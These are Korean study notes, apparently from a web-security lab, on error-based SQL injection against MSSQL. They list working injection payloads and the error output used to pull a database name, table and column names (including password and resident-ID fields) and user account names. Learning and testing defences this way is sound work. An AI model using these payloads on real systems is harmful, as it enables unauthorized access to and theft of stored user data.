Error-Based SQL Injection
:: 에러 메세지가 친절할 때. 가장 친절/가장 쉬워짐
[DB명찾기]
(구문) ' and db_name() > 1 --
(결과) nvarchar 'oyesmall'을 데이터형식 int로 변환하지 못했씁니다.
db_name()은 MSSQL에서 데이터베이스 이름을 반환하는 친구임. 데이터베이스 이름이 1보다 크냐? 하고 주석처리
왜 nvarchar값을 int랑 비교하냐??. 하며 데이터베이스 이름 겟ㅋ
[TABLE명 찾기]
(구문) ' having 1=1 --
(결과) 열 'Members.num'이 집계함수나 GROUP BY절에 없으므로 SELECT 목록에서 사용할 수 없습니다.
[COLUMN명 찾기]
(구문) ' group by num --
(결과) 열 Members.user_id가 집계함수나 GROUP BY절에 없으므로 SELECT 목록에서 사용할 수 없습니다.
num 다음 컬럼을 알아내는 것.
그럼 그 다음 컬럼은?
(구문) ' group by num, user_id --
(결과) 열 Members.passwd가 집계함수나 GROUP BY절에 없으므로 SELECT 목록에서 사용할 수 없습니다.
다음거는 passwd1, name, jumin1 ....
여기까지 했을 때 알아낸 것
- DB Name: oyesmall
- Table Name: Members
- Column List: num, user_id, passwd ....
[첫 번째에 있는 계정 알아내는 방법]
(구문) ' or 1 in (select user_id from members where num > 0) --
(결과) varchar 값 oyes를 데이터 형식 int로 변환하지 못했습니다.
[문제:: 계정 순서대로 다섯개를 알아내시오. ]
(구문) ' or 1 in (select user_id from members where user_id not in ('oyes', '???', ...)
1. oyes
2. bisang2da
3. kisec
4. kisectest
5. rnrneks
[문제:: members 테이블 행의 수 구하기]
(구문) ' or 1 in (SELECT '임의문자' + cast(count(user_id) as varchar(10) FROM members) --
※ MSSQL에서는 cast(), MYSQL에서는 concat()
※ 그리고 cast(count(user_id))할 필요 없이 걍 cast(count(*) varchar(10))하면 됨.
CAST(data as type): 데이터를 형변환 하는 함수이다.
EX) CAST(1234 as varchar(20))
'보안 > 웹·모바일' 카테고리의 다른 글
Load of SQLInjection 문제풀이 (0) | 2022.07.15 |
---|---|
Union SQL Injection 실습 (0) | 2022.07.14 |
Non-Relational DBMS이란 (0) | 2022.07.08 |
Blind SQL Injection (0) | 2022.07.08 |
CSRF(Cross-Site Request Forgery) (0) | 2022.07.07 |